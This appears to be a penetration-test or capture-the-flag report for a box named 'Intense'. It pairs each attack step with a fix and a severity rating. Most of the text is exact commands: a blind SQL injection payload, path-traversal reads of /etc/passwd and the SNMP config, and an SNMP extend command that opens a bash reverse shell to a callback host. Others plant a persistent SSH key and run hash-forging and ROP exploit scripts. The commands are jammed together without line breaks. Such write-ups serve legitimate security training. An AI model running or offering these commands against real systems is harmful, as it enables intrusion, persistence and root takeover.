Intense
Summary
I discovered that the target's Flask web application served its complete Python source code in a public archive, immediately exposing a home-grown session-token scheme using SHA256(SECRET+data) — vulnerable to hash-length extension — and a SQL injection endpoint defended only by a short keyword blocklist. Scripted boolean-blind injection extracted the administrator's 64-hex-char secret, which was fed to hashpumpy to forge a valid admin cookie. With admin access, an unrestricted path-traversal endpoint read the server's SNMP configuration and recovered a read-write community string. That string was used to register an arbitrary shell command via the NET-SNMP-EXTEND-MIB, obtaining a reverse shell as the debian-snmp service account. After persisting an SSH authorized key for a stable session and forwarding the internally-bound note server, a custom binary running as root was exploited via an out-of-bounds array copy that leaked the stack canary, PIE base, and libc address in one round trip; a ROP chain calling dup2 and execve over the forwarded socket then yielded a root shell.
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 --script http-title,http-headers,http-enum $INTERNAL_TARGETcurl -sI http://$INTERNAL_TARGET/Exact commands 2
curl -s -o src.zip http://$INTERNAL_TARGET/src.zip && unzip src.zip -d flask_srcgrep -n 'sha256\|SECRET\|parse_session\|badword\|load_extension' flask_src/lwt.py flask_src/utils.py flask_src/app.py flask_src/admin.pyFixRemove the application source-code archive from the public web rootCritical
Exact commands 3
curl -s -c /tmp/gc.txt -X POST -d 'username=[REDACTED: recovered credential]&password=[REDACTED: credential]' http://$INTERNAL_TARGET/postlogincurl -s -b /tmp/gc.txt -X POST --data-urlencode "message=' and case when (SUBSTR((select secret from user where username='admin'),1,1)=CHAR(102)) then 1 else load_extension(1) end)-- -" http://$INTERNAL_TARGET/submitmessagepython3 sqli.py $INTERNAL_TARGETFixParameterize all database queries to eliminate SQL injectionCritical
Exact commands 2
pip install hashpumpy --break-system-packagespython3 forge.py $INTERNAL_TARGET /tmp/gc.txtFixReplace the custom SHA256-keyed session token with HMAC or a standard session libraryCritical
Exact commands 3
C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../etc/snmp/snmpd.conf' http://$INTERNAL_TARGET/admin/log/viewC=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../home/user/user.txt' http://$INTERNAL_TARGET/admin/log/viewC=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../etc/passwd' http://$INTERNAL_TARGET/admin/log/viewFixCanonicalize file paths in the admin log viewer and restrict the web process to its own filesHigh
Exact commands 3
nc -lvnp 4444snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 $INTERNAL_TARGET 'nsExtendStatus."shell"' i createAndGo 'nsExtendCommand."shell"' s /bin/bash 'nsExtendArgs."shell"' s '-c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1 &"'snmpwalk -v2c -c SuP3RPrivCom90 $INTERNAL_TARGET nsExtendExecTypeFixDisable SNMP write access and remove the NET-SNMP extension MIBCritical
Exact commands 4
ssh-keygen -t ed25519 -f /tmp/htb_key -N ''mkdir -p /var/lib/snmp/.ssh && echo "<pubkey>" >> /var/lib/snmp/.ssh/authorized_keys && chmod 700 /var/lib/snmp/.ssh && chmod 600 /var/lib/snmp/.ssh/authorized_keysssh -i /tmp/htb_key -L 5001:localhost:5001 debian-snmp@$INTERNAL_TARGETscp -i /tmp/htb_key debian-snmp@$INTERNAL_TARGET:/usr/local/bin/note_server ./note_serverExact commands 3
file note_server && checksec --file=note_serverpython3 exploit.pycat /root/root.txtFixFix the out-of-bounds index in note_server's copy opcode and run the service as an unprivileged accountCritical
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |